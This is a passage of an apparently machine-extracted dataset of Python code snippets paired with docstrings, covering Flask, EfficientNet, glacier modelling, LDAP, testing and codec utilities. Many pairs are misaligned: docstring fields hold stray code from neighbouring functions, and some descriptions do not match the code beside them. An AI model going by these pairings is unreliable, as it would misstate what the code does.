with 1.9:http://wayback.archive.org/web/20160306082342/http://wiki.vg/Entities"} {"code": "def add_template_test(self, f, name=None):\n self.jinja_env.tests[name or f.__name__] = f\n\n @setupmethod", "nl": "Register a custom template test. Works exactly like the:meth:`template_test` decorator... versionadded:: 0.10:param name: the optional name of the test, otherwise thefunction name will be used."} {"code": "def tf_efficientnet_b4_ns(pretrained=False, **kwargs):\n kwargs['bn_eps'] = BN_EPS_TF_DEFAULT\n kwargs['pad_type'] = 'same'\n model = _gen_efficientnet(\n 'tf_efficientnet_b5_ns', channel_multiplier=1.6, depth_multiplier=2.2, pretrained=pretrained, **kwargs)\n return model\n\n\n@register_model", "nl": " EfficientNet-B4 NoisyStudent. Tensorflow compatible variant kwargs['bn_eps'] = BN_EPS_TF_DEFAULTkwargs['pad_type'] = 'same'model = _gen_efficientnet('tf_efficientnet_b4_ns', channel_multiplier=1.4, depth_multiplier=1.8, pretrained=pretrained, **kwargs)return model@register_modeldef tf_efficientnet_b5_ns(pretrained=False, **kwargs): EfficientNet-B5 NoisyStudent. Tensorflow compatible variant "} {"code": "def for_object_repository(cls=None):\n if cls is None:", "nl": "A decorator that marks classes and functions so they appear in the ObjectRepository.Classes that directly derive from `stbt.FrameObject` have this decoratorapplied to them automatically. This can be used to register other classesand functions.Usage:@for_object_repositoryclass MyClass():..."} {"code": "def _refsToReplace(value, modFunct, titlesRefs, namesRefs, charactersRefs):\n mRefs = []\n for refRe, refTemplate in [(re_titleRef, '_%s_ (qv)'),\n (re_nameRef, \"'%s' (qv)\"),\n (re_characterRef, '\n theseRefs = []\n for theRef in refRe.findall(value):\n goodValue = modFunct(refTemplate % theRef, titlesRefs, namesRefs, charactersRefs)\n if '_' in goodValue or len(goodValue) > 128:\n continue\n toReplace = escape4xml(goodValue)\n replaceWith = goodValue.replace(theRef, escape4xml(theRef))\n theseRefs.append((toReplace, replaceWith))\n mRefs.append(theseRefs)\n return mRefs\n\n", "nl": "Return three lists - for movie titles, persons and characters names -with two items tuples: the first item is the reference once escapedby the user-provided modFunct function, the second is the samereference un-escaped."} {"code": "def testDeserialization(self):\n old_workflow = self.workflow\n old_workflow.spec.start.set_data(marker=True)\n serializer = DictionarySerializer()\n serialized_workflow = old_workflow.serialize(serializer)\n\n serializer = DictionarySerializer()\n new_workflow = Workflow.deserialize(serializer, serialized_workflow)\n\n self.assertEqual(\n len(new_workflow.get_tasks()), len(old_workflow.get_tasks()))\n self.assertEqual(new_workflow.spec.start.get_data(\n 'marker'), old_workflow.spec.start.get_data('marker'))\n self.assertEqual(\n 1, len([t for t in new_workflow.get_tasks() if t.task_spec.name == 'Start']))\n self.assertEqual(\n 1, len([t for t in new_workflow.get_tasks() if t.task_spec.name == 'Root']))\n", "nl": "Tests the that deserialized workflow matches the original workflow"} {"code": "def define_glacier_region(gdir, entity=None, source=None):\n\n utm_proj, nx, ny, ulx, uly, dx = glacier_grid_params(gdir)\n\n tmp_grid = salem.Grid(proj=utm_proj, nxny=(nx, ny), x0y0=(ulx, uly),\n dxdy=(dx, -dx), pixel_ref='corner')\n minlon, maxlon, minlat, maxlat = tmp_grid.extent_in_crs(crs=salem.wgs84)\n\n if not is_dem_source_available(source, *gdir.extent_ll):\n raise InvalidWorkflowError(f'Source: {source} is not available for '\n f'glacier {gdir.rgi_id} with border '\n f\"{cfg.PARAMS['border']}\")\n dem_list, dem_source = get_topo_file((minlon, maxlon), (minlat, maxlat),\n rgi_id=gdir.rgi_id,\n dx_meter=dx,\n source=source)\n log.debug('(%s) DEM source: %s', gdir.rgi_id, dem_source)\n log.debug('(%s) N DEM Files: %s', gdir.rgi_id, len(dem_list))\n", "nl": "Very first task after initialization: define the glacier's local grid.Defines the local projection (Transverse Mercator), centered on theglacier. There is some options to set the resolution of the local grid.It can be adapted depending on the size of the glacier with::dx (m) = d1 * AREA (km) + d2 ; clipped to dmaxor be set to a fixed value. See ``params.cfg`` for setting these options.Default values of the adapted mode lead to a resolution of 50 m forHintereisferner, which is approx. 8 km2 large.After defining the grid, the topography and the outlines of the glacierare transformed into the local projection. The default interpolation forthe topography is `cubic`.Parameters----------gdir : :py:class:`oggm.GlacierDirectory`where to write the dataentity : geopandas.GeoSeriesthe glacier geometry to process - DEPRECATED. It is now ignoredsource : str or list of str, optionalIf you want to force the use of a certain DEM source. Available are:- 'USER' : file set in cfg.PATHS['dem_file']- 'SRTM' : http://srtm.csi.cgiar.org/- 'GIMP' : https://bpcrc.osu.edu/gdg/data/gimpdem- 'RAMP' : https://nsidc.org/data/nsidc-0082/versions/2/documentation- 'REMA' : https://www.pgc.umn.edu/data/rema/- 'DEM3' : http://viewfinderpanoramas.org/- 'ASTER' : https://asterweb.jpl.nasa.gov/gdem.asp- 'TANDEM' : https://geoservice.dlr.de/web/dataguide/tdm90/- 'ARCTICDEM' : https://www.pgc.umn.edu/data/arcticdem/- 'AW3D30' : https://www.eorc.jaxa.jp- 'MAPZEN' : https://registry.opendata.aws/terrain-tiles/- 'ALASKA' : https://www.the-cryosphere.net/8/503/2014/- 'COPDEM30' : Copernicus DEM GLO30 https://spacedata.copernicus.eu/web/cscda/cop-dem-faq- 'COPDEM90' : Copernicus DEM GLO90 https://spacedata.copernicus.eu/web/cscda/cop-dem-faq- 'NASADEM': https://doi.org/10.5069/G93T9FD9"} {"code": "def sanity_check_gmapl_exists():\n try:\n run_external_call(\"gmapl --version\")\n except:\n print(\"gmapl executable does not exist. You probably have an old version of GMAP.\" \\\n \"Please install a newer version of GMAP and try again.\", file=sys.stderr)\n sys.exit(-1)\n", "nl": "GMAP version that comes with smrtanalysis 2.3 is old and does not contain gmapl =__=User must install newer version of gmap to get gmapl"} {"code": "def add(self, dn, object_class=None, attributes=None):\n self.write_ldap.delete(dn)\n self._test_raise_exceptions(self.write_ldap)\n", "nl": "Call ldap add and raise exception on non-success.sorted_attributes = collections.OrderedDict(sorted((k, v)for k, v in six.iteritems(attributes))) if attributes else Noneself.write_ldap.add(dn, object_class, sorted_attributes)self._test_raise_exceptions(self.write_ldap)def delete(self, dn):Call ldap delete and raise exception on non-success."} {"code": "def test_sixpeaks_r0_max0():\n based on the second condition\"\"\"", "nl": "Test SixPeaks fitness function for the case where R=0 and max=0state = np.array([0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1])assert SixPeaks(t_pct=0.30).evaluate(state) == 0@staticmethoddef test_sixpeaks_r_gt0_max2():Test SixPeaks fitness function for the case where R>0 and max>0"} {"code": "def _iter_subpackages(package, subpackages):\n vars = sorted(var for var in dir(mod) if _is_public(var))\n for var in vars:\n yield getattr(mod, var)\n\n", "nl": "Iterate through a list of subpackages.for subpackage in subpackages:yield import_module('{}.{}'.format(package, subpackage))def _iter_vars(mod):Iterate through a list of variables define in a module's public namespace."} {"code": "def _type(string, has_invisible=True, numparse=True):\n\n if has_invisible and isinstance(string, (str, bytes)):\n string = _strip_invisible(string)\n\n if string is None:\n return type(None)\n elif hasattr(string, \"isoformat\"):\n return str\n elif _isbool(string):\n return bool\n elif _isint(string) and numparse:\n return int\n elif _isnumber(string) and numparse:\n return float\n elif isinstance(string, bytes):\n return bytes\n else:\n return str\n\n", "nl": "The least generic type (type(None), int, float, str, unicode).>>> _type(None) is type(None)True>>> _type(\"foo\") is type(\"\")True>>> _type(\"1\") is type(1)True>>> _type('\\x1b[31m42\\x1b[0m') is type(42)True>>> _type('\\x1b[31m42\\x1b[0m') is type(42)True"} {"code": "def _predict(self, nbest_entities, allowed_cnames=None):\n raise NotImplementedError\n", "nl": "Predicts the resolved value(s) for the given entity using cosine similarity.Args:nbest_entities (tuple): List of one entity object found in an input query, or a list \\of n-best entity objects.allowed_cnames (set, optional): if inputted, predictions will only include objectsrelated to these canonical namesReturns:(list): The resolved values for the provided entity."} {"code": "def test_fixtures_dir():\n this attempts to ensure the length of the ``/tmp``\n is the same between MacOS and Linux\n otherwise ansible-navigator column widths can vary\n \"\"\"", "nl": "the test fixture directoryreturn os.path.join(os.path.dirname(__file__), \"..\", \"fixtures\")@pytest.fixture(scope=\"session\")def os_independent_tmp():"} {"code": "def test_metadata_run_options(self):\n prog = Program(1)\n\n with prog.context as q:\n ops.Vac | q[0]\n\n bb = io.to_blackbird(prog)\n expected = {\"op\": \"Vacuum\", \"modes\": [0], \"args\": [], \"kwargs\": {}}\n\n assert bb.operations[0] == expected\n", "nl": "Test run options correctly convertsprog = Program(4, name=\"test_program\")bb = io.to_blackbird(prog.compile(compiler=\"gaussian\", shots=1024))assert bb.name == \"test_program\"assert bb.version == \"1.0\"assert bb.target[\"name\"] == \"gaussian\"assert bb.target[\"options\"] == {\"shots\": 1024}def test_gate_noarg(self):Test gate with no argument converts"} {"code": "def url_report(self, url, summary=False):\n return self._get_report(self.URL_REPORT, url, summary)\n", "nl": "Get the report of an existing URL scan.@param url: URL@param summary: if you want a summary report"} {"code": "def _process_trial_restore(self, trial):\n logger.debug(\"Trial %s: Processing trial restore.\", trial)\n try:\n self.trial_executor.fetch_result(trial)\n trial.on_restore()\n logger.debug(\"Trial %s: Restore processed successfully\", trial)\n self.trial_executor.set_status(trial, Trial.RUNNING)\n self.trial_executor.continue_training(trial)\n except Exception:\n logger.exception(\"Trial %s: Error processing restore.\", trial)\n self._process_trial_failure(trial, traceback.format_exc())\n", "nl": "Processes a trial restore.Args:trial (Trial): Trial being restored."} {"code": "def changed_players(self) -> Generator[str, None, None]:\n Is the given player id present in the level\n\n :param player_id: The player id to check\n :return: True if the player id is present, False otherwise\n \"\"\"", "nl": "The player objects that have changed since the last savereturn self.changed_entries()def has_player(self, player_id: str) -> bool:"} {"code": "def _connect(self):\n\n try:\n self.influx = self.client(self.hostname, self.port,\n self.username, self.password,\n self.database, self.ssl,\n timeout=self.timeout)\n self.log.debug(\"InfluxdbHandler: Established connection to \"\n \"%s:%d/%s.\",\n self.hostname, self.port, self.database)\n except Exception as ex:\n self._throttle_error(\"InfluxdbHandler: Failed to connect to \"\n \"%s:%d/%s. %s\",\n self.hostname, self.port, self.database, ex)\n self._close()\n return\n", "nl": "Connect to the influxdb server"} {"code": "def SdkSetup(self):\n if self.vc_ver > 9.0:\n return []\n\n return [os.path.join(self.si.WindowsSdkDir, 'Setup')]\n\n @property", "nl": "Microsoft Windows SDK Setup"} {"code": "def _findMin(V, x, default,special=None):", "nl": "find minimum over V[i][x]return _findMinMaxValue(V,x,default,min,special=special)def _findMax(V, x, default,special=None):find maximum over V[i][x]"} {"code": "def _convert_axes(self):\n for axis in self.obj._AXIS_NUMBERS.keys():\n new_axis, result = self._try_convert_data(\n axis, self.obj._get_axis(axis), use_dtypes=False, convert_dates=True\n )\n if result:\n setattr(self.obj, axis, new_axis)\n", "nl": "Try to convert axes."} {"code": "def load_entry_point(self, group, name):\n try:\n ep_map = self._ep_map\n except AttributeError:\n ep_map = self._ep_map = EntryPoint.parse_map(\n self._get_metadata('entry_points.txt'), self\n )\n if group is not None:\n return ep_map.get(group, {})\n return ep_map\n", "nl": "Return the `name` entry point of `group` or raise ImportErrorep = self.get_entry_info(group, name)if ep is None:raise ImportError(\"Entry point %r not found\" % ((group, name),))return ep.load()def get_entry_map(self, group=None):Return the entry point map for `group`, or the full entry map"} {"code": "def multiregister(self, stacklist):\n myreglist = self.reglist[-1]\n for stacked, obj in stacklist:\n stacked_id = id(stacked)\n if stacked_id in myreglist:\n stacked._pop_object(myreglist[stacked_id][1])\n del myreglist[stacked_id]\n stacked._push_object(obj)\n myreglist[stacked_id] = (stacked, obj)\n\n replace = register\n", "nl": "Register a list of tuplesSimilar call semantics as register, except this registersmultiple objects at once.Example::registry.multiregister([(sop, obj), (anothersop, anotherobj)])"} {"code": "def get(self, name: str) -> Any:\n return self._fields[name]\n", "nl": "Returns the field called `name`."} {"code": "def visit_st_post(self, err_st):\n pass\n", "nl": "@param err_st: ST Loop error handler@type err_st: L{error_handler.err_st}"} {"code": "def getvalue(self):\n data and write it to the file descriptor\n\n **Note:** operates on raw file descriptors\n **Note:** for this to work, you have to use the close-method of this instance\"\"\"", "nl": ":return: string value from the current stream position to the endreturn self.buf.getvalue()class FDCompressedSha1Writer(Sha1Writer):Digests data written to it, making the sha available, then compress the"} {"code": "def create_users():\n role = Role.query.filter(Role.name == name).first()\n if not role:\n role = Role(name=name, label=label)\n db.session.add(role)\n return role\n\n", "nl": " Create users # Create all tablesdb.create_all()# Adding rolesadmin_role = find_or_create_role('admin', 'Admin')# Add usersfind_or_create_user('admin@example.com', 'Password1', admin_role)find_or_create_user('member@example.com', 'Password1')# Save to DBdb.session.commit()def find_or_create_role(name, label): Find existing role or create new role "} {"code": "def load_data_and_labels():\n positive_examples = list(open(\"./data/rt-polaritydata/rt-polarity.pos\", \"r\").readlines())\n positive_examples = [s.strip() for s in positive_examples]\n negative_examples = list(open(\"./data/rt-polaritydata/rt-polarity.neg\", \"r\").readlines())\n negative_examples = [s.strip() for s in negative_examples]\n x_text = positive_examples + negative_examples\n x_text = [clean_str(sent) for sent in x_text]\n positive_labels = [[0, 1] for _ in positive_examples]\n negative_labels = [[1, 0] for _ in negative_examples]\n y = np.concatenate([positive_labels, negative_labels], 0)\n return [x_text, y]\n\n", "nl": "Loads MR polarity data from files, splits the data into words and generates labels.Returns split sentences and labels."} {"code": "def make_encoding_map(decoding_map):\n m = {}\n for k,v in decoding_map.items():\n if not v in m:\n m[v] = k\n else:\n m[v] = None\n return m\n\n\ntry:\n strict_errors = lookup_error(\"strict\")\n ignore_errors = lookup_error(\"ignore\")\n replace_errors = lookup_error(\"replace\")\n xmlcharrefreplace_errors = lookup_error(\"xmlcharrefreplace\")\n backslashreplace_errors = lookup_error(\"backslashreplace\")\nexcept LookupError:\n strict_errors = None\n ignore_errors = None\n replace_errors = None\n xmlcharrefreplace_errors = None\n backslashreplace_errors = None\n\n_false = 0\nif _false:\n import encodings\n\n\nif __name__ == '__main__':\n\n sys.stdout = EncodedFile(sys.stdout, 'latin-1', 'utf-8')\n\n sys.stdin = EncodedFile(sys.stdin, 'utf-8', 'latin-1')", "nl": " Creates an encoding map from a decoding map.If a target mapping in the decoding map occurs multipletimes, then that target is mapped to None (undefined mapping),causing an exception when encountered by the charmap codecduring translation.One example where this happens is cp875.py which decodesmultiple character to \\\\u001a."} {"code": "def get_newest_task_instances(self):\n\n data = self.client.query(newest_task_instances_sql)\n result = {}\n\n for row in data:\n row['dag_name'] = clean_dag_id(row['dag_id'])\n key = row['dag_name'] + row['task_id']\n if key in result and row['end_date'] and result[key].end_date > row['end_date']:\n continue\n\n if row['dag_name'] in self.config.get('TECHNICAL_ETLS', set()):\n continue\n\n result[key] = TaskInstance(**row)\n\n return list(result.values())\n", "nl": "newest_task_instances_sql = SELECTdr.dag_id,dr.execution_date,dr_latest.state as dag_state,ti.task_id,ti.state as task_state,ti.duration,ti.start_date,ti.end_dateFROM (SELECT dag_id,MAX(execution_date) as execution_dateFROM dag_runGROUP BY dag_id) drJOIN dag_run dr_latest ON dr.dag_id = dr_latest.dag_id AND dr.execution_date = dr_latest.execution_dateJOIN task_instance ti ON dr.dag_id = ti.dag_id AND dr.execution_date = ti.execution_dateJOIN dag ON dag.dag_id = dr.dag_id AND is_active = 1 AND is_paused = 0.replace(\"\\n\", \"\")"} {"code": "def sessionOver(self, task):\n DistributedPartyTrampolineActivityAI.notify.debug(\"sessionOver\")\n self.sendUpdate(\"leaveTrampoline\")\n return Task.done\n", "nl": "Time is up. Kick the toon off the trampoline."} {"code": "def fetch(url, args=None, cache=True):\n if args is None:\n args = {}\n else:\n args = dict(args)\n args[\"format\"] = \"json\"\n args[\"per_page\"] = PER_PAGE\n results = []\n pages, this_page = 0, 1\n while pages != this_page:\n response = get_response(url, args, cache=cache)\n try:\n results.extend(response[1])\n this_page = response[0][\"page\"]\n pages = response[0][\"pages\"]\n except (IndexError, KeyError):\n try:\n message = response[0][\"message\"][0]\n raise RuntimeError(\n f\"Got error {message['id']} ({message['key']}): \"\n f\"{message['value']}\"\n )\n except (IndexError, KeyError):\n raise RuntimeError(\n f\"Got unexpected response:\\n{pprint.pformat(response)}\"\n )\n logging.debug(f\"Processed page {this_page} of {pages}\")\n args[\"page\"] = int(this_page) + 1\n for i in results:\n if \"id\" in i:\n i[\"id\"] = i[\"id\"].strip()\n results = WBResults(results)\n try:\n results.last_updated = datetime.datetime.strptime(\n response[0][\"lastupdated\"], \"%Y-%m-%d\"\n )\n except KeyError:\n pass\n return results", "nl": "Fetch data from the World Bank API or from cache.Given the base url, keep fetching results until there are no more pages.: query_url: the base url to be queried: args: a dictionary of GET arguments: cache: use the cache: returns: a list of dictionaries containing the response to the query"} {"code": "def test_get_draft_not_returns_published_projects(self):\n about each project\"\"\"", "nl": "Test CACHE PROJECTS get_draft does not return published projectspublished = ProjectFactory.create(published=True)drafts = cached_projects.get_draft()assert len(drafts) is 0, drafts@with_contextdef test_get_draft_returns_required_fields(self):Test CACHE PROJECTS get_draft returns the required info"} {"code": "def hasEvents(self):\n\n Empties the internal queue.\n \"\"\"", "nl": " Check whether any events have been caught for this region return len(self._observer.caught_events) > 0def getEvents(self): Returns a list of all events that have occurred."} {"code": "def dequeue_and_enqueue(self, z: torch.Tensor, y: torch.Tensor):\n\n z = gather(z)\n y = gather(y)\n\n batch_size = z.shape[0]\n\n ptr = int(self.queue_ptr)\n assert self.queue_size % batch_size == 0\n\n self.queue[ptr : ptr + batch_size, :] = z\n self.queue_y[ptr : ptr + batch_size] = y\n ptr = (ptr + batch_size) % self.queue_size\n\n self.queue_ptr[0] = ptr\n\n @torch.no_grad()", "nl": "Adds new samples and removes old samples from the queue in a fifo manner. Also storesthe labels of the samples.Args:z (torch.Tensor): batch of projected features.y (torch.Tensor): labels of the samples in the batch."} {"code": "def _parse_variable(v_xml):\n mem_dict = {}\n\n mem_dd = v_xml.find('detaileddescription')\n try:\n mem_ddstr = mem_dd.find('para').text\n except AttributeError:\n mem_ddstr = ''\n\n mem_dict['detaileddescription'] = mem_ddstr\n\n mem_dict['type'] = v_xml.find('type').text\n\n return mem_dict\n\n", "nl": "Parse a variable given the xml representation of it."} {"code": "def __init__(self, graph):\n self._shift_to_route_within = rospy.get_param(\"~shift_to_route_within\", 7.0)\n rospy.loginfo(\"~shift_to_route_within: %.2f\", self._shift_to_route_within)\n\n self.graph = graph\n self.points = geodesy.wu_point.WuPointSet(graph.points)\n\n self.edges = [[] for wid in range(len(self.points))]\n for seg in self.graph.segments:\n index = self.points.index(seg.start.uuid)\n if index is not None:\n n = self.points.index(seg.end.uuid)\n if n is not None:\n dist = self.points.distance2D(index, n)\n self.edges[index].append(Edge(n, seg.id, heuristic=dist))\n\n self.utm_points = dict()\n for p in self.points:\n self.utm_points[self.points.index(p.uuid())] = geodesy.utm.fromMsg(\n p.position()\n )\n", "nl": "Constructor.Collects relevant information from route network message,providing convenient access to the data."} {"code": "def transport(self) -> BigQueryWriteTransport:\n return self._client.transport\n\n get_transport_class = functools.partial(\n type(BigQueryWriteClient).get_transport_class, type(BigQueryWriteClient)\n )\n", "nl": "Returns the transport used by the client instance.Returns:BigQueryWriteTransport: The transport used by the client instance."} {"code": "def __init__(self, filepath_or_buffer: FilePathOrBuffer):\n import_optional_dependency(\"pyxlsb\")\n super().__init__(filepath_or_buffer)\n\n @property", "nl": "Reader using pyxlsb engine.Parameters__________filepath_or_buffer: string, path object, or WorkbookObject to be parsed."} {"code": "def increment(self) -> int:\n self._current_model_seqnum += 1\n return self._current_model_seqnum\n", "nl": "rIncrements the global model_seqnum"} {"code": "def train(self):\n super().train(self.start_iter, self.max_iter)\n\n @classmethod", "nl": "Run training.Returns:OrderedDict of results, if evaluation is enabled. Otherwise None."} {"code": "def load(pluginName, typeName):\n\n moduleName = __name__+\".{}_plug\".format(pluginName.lower())\n try:\n importedModule = importlib.import_module(moduleName)\n except ImportError as e:\n raise PluginException(\"Unable to load plugin '{}': {}\".format(\n pluginName, str(e),\n ))\n\n pluginClass = getattr(importedModule, typeName, None)\n if not pluginClass:\n raise PluginException(\"{} plugin does not provide a {}.\".format(\n pluginName, typeName,\n ))\n\n return pluginClass\n", "nl": "Attempt to load a plugin and find the specified pluginclass within it."} {"code": "def _DoRepeatedSection(args, context, callback):\n\n block = args\n if context.PushSection(block.section_name):\n _Execute(block.Statements(), context, callback)\n context.Pop()\n else:\n context.Pop()\n _Execute(block.Statements('or'), context, callback)\n\n", "nl": "{repeated section foo}block = argsitems = context.PushSection(block.section_name)# TODO: if 'items' is a dictionary, allow @name and @value.if items:if not isinstance(items, list):raise EvaluationError('Expected a list; got %s' % type(items))last_index = len(items) - 1statements = block.Statements()alt_statements = block.Statements('alternates with')try:i = 0while True:context.Next()# Execute the statements in the block for every item in the list.# Execute the alternate block on every iteration except the last. Each# item could be an atom (string, integer, etc.) or a dictionary._Execute(statements, context, callback)if i != last_index:_Execute(alt_statements, context, callback)i += 1except StopIteration:passelse:_Execute(block.Statements('or'), context, callback)context.Pop()def _DoSection(args, context, callback):{section foo}"} {"code": "def test_handle_invalid(self):\n assert self.ml_handler.teardown() is None\n self.assert_quantity_in_outbox(0)\n\n\nclass TestOefSearchHandler(BaseSkillTestCase):\n \"\"\"Test oef search handler of ml_train.\"\"\"", "nl": "Test the _handle_invalid method of the ml_trade handler.# setupml_dialogue = self.prepare_skill_dialogue(dialogues=self.ml_dialogues, messages=self.list_of_messages[:2],)incoming_message = self.build_incoming_message_for_skill_dialogue(dialogue=ml_dialogue,performative=MlTradeMessage.Performative.ACCEPT,terms=self.terms,tx_digest=\"some_tx_digest\",)# operationwith patch.object(self.logger, \"log\") as mock_logger:self.ml_handler.handle(incoming_message)# aftermock_logger.assert_any_call(logging.WARNING,f\"cannot handle ml_trade message of performative={incoming_message.performative} in dialogue={ml_dialogue}.\",)def test_teardown(self):Test the teardown method of the ml handler."} {"code": "def apply_pre_layer_norm(self, inputs, task_embeddings):\n if self.conditional_layer_norm:\n weight, bias = self.post_layernorm_hypernet(task_embeddings)\n return torch.nn.functional.layer_norm(inputs, (self.input_dim,), weight=weight, bias=bias)\n else:\n return self.post_layer_norm(inputs)\n", "nl": "Applies pre layer norm to the inputs.if self.conditional_layer_norm:weight, bias = self.pre_layernorm_hypernet(task_embeddings)return torch.nn.functional.layer_norm(inputs, (self.input_dim,), weight=weight, bias=bias)else:return self.pre_layer_norm(inputs)def apply_post_layer_norm(self, inputs, task_embeddings):Applies post layer norm to the inputs."} {"code": "def test_no_matrix_update_during_test(self):\n input_data = np.random.random((1, 2))\n rfgp_model = gaussian_process.RandomFeatureGaussianProcess(units=1)\n\n inputs = tf.keras.Input((2,), batch_size=1)\n outputs = rfgp_model(inputs)\n model = tf.keras.Model(inputs, outputs)\n gp_output, gp_covmat = model.predict(input_data)\n\n temp_dir = self.get_temp_dir()\n self.addCleanup(shutil.rmtree, temp_dir)\n saved_model_dir = os.path.join(temp_dir, 'rfgp_model')\n model.save(saved_model_dir)\n new_model = tf.keras.models.load_model(saved_model_dir)\n\n gp_output_new, gp_covmat_new = new_model.predict(input_data)\n self.assertAllClose(gp_output, gp_output_new, atol=1e-4)\n self.assertAllClose(gp_covmat, gp_covmat_new, atol=1e-4)\n\n\nclass MeanFieldLogitsTest(tf.test.TestCase):\n", "nl": "Tests if the precision matrix is not updated during testing.rfgp_model = gaussian_process.RandomFeatureGaussianProcess(units=1)# Training._, gp_covmat_null = rfgp_model(self.x_tr, training=True)precision_mat_before_test = rfgp_model._gp_cov_layer.precision_matrix# Testing._ = rfgp_model(self.x_ts, training=False)precision_mat_after_test = rfgp_model._gp_cov_layer.precision_matrixself.assertAllClose(gp_covmat_null, tf.eye(self.num_train_sample), atol=1e-4)self.assertAllClose(precision_mat_before_test, precision_mat_after_test, atol=1e-4)def test_state_saving_and_loading(self):Tests if the loaded model returns same results."} {"code": "def event_activate(self, **kwargs) -> None:\n self._get_transaction_id(payload)\n list_offers_response_channel = f\"{self.channel_prefix}/response/list_offers\"\n if not ExternalStrategyConnectionManager.check_for_connected_and_reply(\n self.redis, list_offers_response_channel, self.connected):\n return\n arguments = json.loads(payload[\"data\"])\n self.pending_requests.append(\n IncomingRequest(\"list_offers\", arguments, list_offers_response_channel))\n", "nl": "Activate the device.super().event_activate(**kwargs)self.redis.sub_to_multiple_channels(self.channel_dict)def list_offers(self, payload: Dict) -> None:Callback for list offers Redis endpoint."} {"code": "def get_revision(cls, location):\n raise NotImplementedError\n\n @classmethod", "nl": "Return the current commit id of the files at the given location."} {"code": "def _check_path():\n metadata_path = os.path.expanduser(_DEFAULT_METADATA_PATH)\n if not os.path.exists(metadata_path):\n return None\n return metadata_path\n\n", "nl": "Checks for content aware metadata.If content aware metadata exists, return its absolute path;otherwise, returns None.Returns:str: Absolute path if exists. Otherwise, None."} {"code": "def get_media_uri(self, item_id):\n response = self.soap_client.call(\"getMediaURI\", [(\"id\", item_id)])\n return response.get(\"getMediaURIResult\", None)\n", "nl": "Get a streaming URI for an item.Note:You should not need to use this directly. It is used by the Sonosplayers (not the controllers) to obtain the uri of the mediastream. If you want to have a player play a media item,you should add it to the queue using its id and let theplayer work out where to get the stream from (see `On DemandPlayback `_ and`Programmed Radio `_)Args:item_id (str): The item for which the URI is requiredReturns:str: The item's streaming URI."} {"code": "def test_unicode_literal_2(self):\n self.check(b, a)\n", "nl": "b = ur'x'a = r'x'"} {"code": "def print_summary(self):\n\n print(self.summary['label'], ':')\n print(' Number of articles: \\t\\t', self.summary['n_articles'])\n print(' First publication: \\t\\t', self.summary['first_publication'])\n print(' Most common author: \\t\\t', self.summary['top_author_name'])\n print(' number of publications: \\t', self.summary['top_author_count'])\n print(' Most common journal: \\t\\t', self.summary['top_journal_name'])\n print(' number of publications: \\t', self.summary['top_journal_count'], '\\n')\n\n", "nl": "Print out a summary of the collected words data.Examples--------Print a summary for a term, assuming an initialized ``ArticlesAll`` object with data:>>> articles_all.create_summary() # doctest:+SKIP>>> articles_all.print_summary() # doctest:+SKIP"} {"code": "def from_str(cls, obj: str) -> \"DialogueLabel\":\n Metaclass for Dialogue.\n\n Creates class level Rules instance to share among instances\n \"\"\"", "nl": "Get the dialogue label from string representation.(dialogue_starter_reference,dialogue_responder_reference,dialogue_opponent_addr,dialogue_starter_addr,) = obj.split(\"_\")dialogue_label = DialogueLabel((dialogue_starter_reference, dialogue_responder_reference),dialogue_opponent_addr,dialogue_starter_addr,)return dialogue_labelclass _DialogueMeta(type):"} {"code": "def comparator(marker1, marker2):\n matches_count = marker_weight(matches, marker2, predicate) - marker_weight(matches, marker1, predicate)\n if matches_count:\n return matches_count\n len_diff = len(marker2) - len(marker1)\n if len_diff:\n return len_diff\n return markers.index(marker2) - markers.index(marker1)\n\n return comparator\n\n", "nl": "The actual comparator function."} {"code": "def time_to_utc(self, time_string: str) -> str:\n", "nl": "Convert a local time string to UTC equivalent.tz = pytz.timezone(self.hass.config.time_zone)target = tz.normalize(datetime.now().replace(tzinfo=tz)).replace(hour=int(time_string[0:2]), minute=int(time_string[3:5]))ret = target.astimezone(pytz.utc)return ret.strftime(\"%H:%M\")class ChargerService:Charger services class."} {"code": "def _getFailure(self, error):\n if isinstance(error, tuple):\n return Failure(error[1], error[0], error[2])\n return error\n\n", "nl": "Convert a C{sys.exc_info()}-style tuple to a L{Failure}, if necessary."} {"code": "def test_list_finished(self):\n res = self.api.list(state='finished')\n self.assertEqual(len(res), 2)\n self.assertSetEqual(\n set(ins['_id'] for ins in res),\n set([\n 'proid.app\n 'proid.test.sleep\n ])\n )\n\n cases = [\n ('proid.app\n ('proid.test.sleep\n ('proid.unknown\n ]\n for app_name, expected in cases:\n res = self.api.list(state='finished', app_name=app_name)\n self.assertEqual(len(res), expected)\n", "nl": "Test _list_finished()."} {"code": "def test_read_xy_write_xy_from_open_file_binary_mode(self):\n st = _read_sac_xy(self.filexy)\n\n with NamedTemporaryFile() as tf:\n _write_sac_xy(st, tf)\n tf.seek(0, 0)\n st2 = _read_sac_xy(tf)\n\n st[0].stats.pop('sac', None)\n st2[0].stats.pop('sac', None)\n\n self.assertEqual(st, st2)\n", "nl": "Reading/writing XY sac files to open files in binary mode."} {"code": "def render_pep440_pre(pieces):\n if pieces[\"closest-tag\"]:\n if pieces[\"distance\"]:\n tag_version, post_version = pep440_split_post(pieces[\"closest-tag\"])\n rendered = tag_version\n if post_version is not None:\n rendered += \".post%%d.dev%%d\" %% (post_version+1, pieces[\"distance\"])\n else:\n rendered += \".post0.dev%%d\" %% (pieces[\"distance\"])\n else:\n rendered = pieces[\"closest-tag\"]\n else:\n rendered = \"0.post0.dev%%d\" %% pieces[\"distance\"]\n return rendered\n\n", "nl": "TAG[.postN.devDISTANCE] -- No -dirty.Exceptions:1: no tags. 0.post0.devDISTANCE"} {"code": "def is_reserved(self):\n return self in self._constants._reserved_network\n\n @property", "nl": "Test if the address is otherwise IETF reserved.Returns:A boolean, True if the address is within thereserved IPv4 Network range."} {"code": "def _encode_auth(auth):\n auth_s = urllib.parse.unquote(auth)\n auth_bytes = auth_s.encode()\n encoded_bytes = base64.b64encode(auth_bytes)\n encoded = encoded_bytes.decode()\n return encoded.replace('\\n', '')\n\n\nclass Credential:\n \"\"\"\n", "nl": "Encode auth from a URL suitable for an HTTP header.>>> str(_encode_auth('username%3Apassword'))'dXNlcm5hbWU6cGFzc3dvcmQ='Long auth strings should not cause a newline to be inserted.>>> long_auth = 'username:' + 'password'*10>>> chr(10) in str(_encode_auth(long_auth))False"} {"code": "def test_fields(self):\n form = self.form({})\n expected = 'This field is required.'\n self.assertIn(expected, form.errors['email'])\n self.assertIn(expected, form.errors['password1'])\n self.assertIn(expected, form.errors['password2'])\n", "nl": "Assert `fields`.fields = self.form.base_fields.keys()expected = ('email', 'password1', 'password2')self.assertCountEqual(fields, expected)def 